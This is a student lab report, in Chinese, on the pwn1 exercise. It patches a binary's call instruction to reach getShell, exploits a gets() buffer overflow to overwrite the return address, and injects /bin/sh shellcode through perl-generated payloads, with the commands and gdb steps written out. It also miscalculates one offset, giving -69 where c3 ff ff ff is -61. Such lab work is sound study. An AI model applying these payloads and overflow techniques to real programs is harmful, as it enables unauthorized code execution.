一、实验内容
1. 实验任务
(1)直接修改pwn1的机器指令,将main函数中调用foo的指令改为调用getShell。
(2)利用foo函数中gets(无边界检查)的漏洞,构造输入字符串覆盖返回地址,触发getShell。
(3)注入自定义Shellcode,通过构造Payload使程序执行Shellcode,获取Shell。
2. 学习目标
(1)掌握手工修改可执行文件机器指令的方法,改变程序默认执行流程,使原本不可访问的getShell函数被调用,理解ELF文件与机器指令的对应关系。
(2)利用函数的缓冲区溢出漏洞,构造攻击输入字符串覆盖堆栈中的返回地址,触发目标函数getShell,深入理解堆栈结构与返回地址的作用。
(3)学习Shellcode注入与执行的原理,掌握Payload构造方法,理解漏洞利用的完整流程。
二、实验过程
(一)直接修改程序机器指令,改变执行流程
Kali linux虚拟环境已经配置完成,pwn1已经转移到虚拟机中,并改名为pwnzxy。

1. 反汇编分析关键指令
首先通过objdump -d pwnzxy | more
反汇编pwnzxy,找到main、foo、getShell的地址:

由分析可见getShell地址:0804847d
foo地址:08048491
main中调用foo的指令:080484b5: e8 d7 ff ff ff(e8为call指令,d7 ff ff ff为偏移量)

call指令的偏移量方式为目标地址-下一条指令地址。main中call foo的下一条指令地址为80484ba,原偏移量d7 ff ff ff是补码,对应十进制-41,计算验证:80484ba-41=8048491(foo地址),符合预期。
2. 计算目标偏移量(调用getShell)
需将call foo改为call getShell,重新计算偏移量:
目标地址(getShell):0804847d,下一条指令地址:080484ba
偏移量=0804847d-080484ba=-41+(-28)=-69(十进制),对应的32位补码为c3 ff ff ff。
3. 修改机器指令
先复制pwnzxy为pwnzxy1,用vi以十六进制模式编辑pwnzxy1,输入:%!xxd
切换为十六进制视图。将偏移量从d7 ff ff ff改为c3 ff ff ff。输入:%!xxd -r
转回原格式,wq保存退出。

4. 验证结果
反汇编pwnzxy1:objdump -d pwnzxy1 | more
,确认main中call指令变为080484b5: e8 c3 ff ff ff,目标地址为0804847d(getShell)。
为pwnzxy1增加执行权限:chmod +x pwnzxy1
运行pwnzxy1:./pwnzxy1
,可以进入shell,说明执行流程修改成功。

(二)构造输入参数,利用BOF攻击改变执行流
1. 反汇编分析漏洞点
foo函数中调用gets函数(0804849d: call 08048330 gets@plt),gets无输入长度检查,当输入超过缓冲区大小时会溢出,覆盖堆栈中的ebp和返回地址。通过反汇编可知:
foo函数栈帧中,缓冲区地址为-0x1c(%ebp)(即缓冲区大小为0x1c=28字节),加上ebp(4字节),共需32字节填充缓冲区,第33-36字节将覆盖返回地址。
2. 确认返回地址覆盖位置(gdb调试)
启动gdb调试pwnzxy:gdb pwnzxy
。
运行程序并输入测试字符串:r后输入1111111122222222333333334444444412345678(共40字节)。
程序触发SIGSEGV(段错误),显示eip=0x34333231(4321的ascii),说明第33-36字节覆盖了返回地址。

3. 构造攻击输入(覆盖返回地址为getShell地址)
getShell地址为0804847d,按小端序倒序为\x7d\x84\x04\x08。
用perl生成含该地址的输入文件:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
(前32字节填充缓冲区,后4字节覆盖返回地址,\x0a为回车)。
验证输入文件:xxd input
,确认第33-36字节为7d 84 04 08。

4. 触发BOF攻击
通过管道将input作为pwnzxy的输入:(cat input; cat) | ./pwnzxy
,成功获取#(Shell),输入ls可查看目录文件,攻击生效。

BOF攻击的核心是"堆栈溢出覆盖返回地址",需明确缓冲区大小、返回地址在堆栈中的位置及字节序(小端序),gets函数的无边界检查是漏洞根源。
(三)注入 Shellcode 并执行
1. 前期环境准备
本实验的前置条件为以下五条:(1)关闭堆栈保护(2)关闭堆栈执行保护(3)关闭地址随机化(4)在x32环境下(5)在Linux实践环境。通过对应命令及实验环境准备,均已满足。

2. 构造基础 Payload 与初步测试
用perl生成基础Payload,保存到input_shellcode文件:
root@KaliYL:~# perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。此处先占位,后续需要确定shellcode的地址,并修改此处。
使用xxd input_shellcode
确认输出前几行是90 90 90...最后是设置的占位数据。

3. 调试确定Shellcode地址
(1)运行程序并等待输入:打开第一个终端,执行命令让pwnzxy等待接收Payload,此时终端等待输入。

(2)查找进程号并附加调试:在第二个终端用gdb调试,找到pwnzxy的进程号。

执行gdb -p [进程号]
,gdb已成功附加到pwnzxy进程。

(3)设置断点并触发溢出:在终端2,通过反汇编foo函数找到ret指令地址,设置断点;


回到终端1,按Enter键发送Payload,程序在终端2的gdb中触发断点,显示 Breakpoint 1, 0x080484ae in foo ()。

(4)查看堆栈获取 Shellcode 地址:堆栈中0x01020304是input_shellcode中设置的占位返回地址,对应的地址是 0xffffd3dc,因此shellcode地址是ESP_ADDR+4字节,即0xffffd3e0,需将之前占位的\x4\x3\x2\x1改为此地址(小端序为\xe0\xd3\xff\xff)。


4. 重新生成Payload并验证
因之前input_shellcode中写入错误数据导致实验未成功,重新生成input_shellcodenew:
perl -e 'print "A" x 32;print "\xe0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcodenew

通过xxd
确认已将shellcode地址注入,将此文件作为最终Payload传入程序,成功获取到 Shell。

三、问题及解决方案
问题1:任务1中的e8d7未找到
解决方案:之前查询时,指令中间无空格,加入空格后可以找到目标指令。

问题2:execstack无法下载
解决方案:首先尝试通过wget下载execstack时提示 "ERROR 404: Not Found",无法获取工具;群里的下载链接已失效,学习通的prelink源码下载到虚拟机后编译也出现报错;

用gcc直接编译execstack源码仍有问题。

最后通过查询新命令,解决该问题。

问题3:注入 Shellcode 时触发 "zsh: segmentation fault ./pwnzxy",程序崩溃

解决方案:检查Payload结构,发现未用32字节A填充缓冲区,导致返回地址覆盖位置错误,重新生成 Payload 时补充"A"x32,解决该问题。

四、实验感悟
本次实验让我收获颇丰。先是kali虚拟机的安装,从官网直接下载其虚拟机版本十分便捷,解压到本地后,用VMware打开就能直接使用,省去不少环境配置的麻烦。后续实验中,我对缓冲区溢出的过程与攻击手段有了更深刻的理解。而且Gitee上的实验指导也让我懂得,要先明晰整体流程,再分步操作,切勿忽视原理、盲目复制命令。网络攻防领域犹如广阔的知识海洋,正待我去深入探寻。
参考资料
ExpGuides/0x11_MAL_逆向与Bof基础.md · wildlinux/NetSec - Gitee.com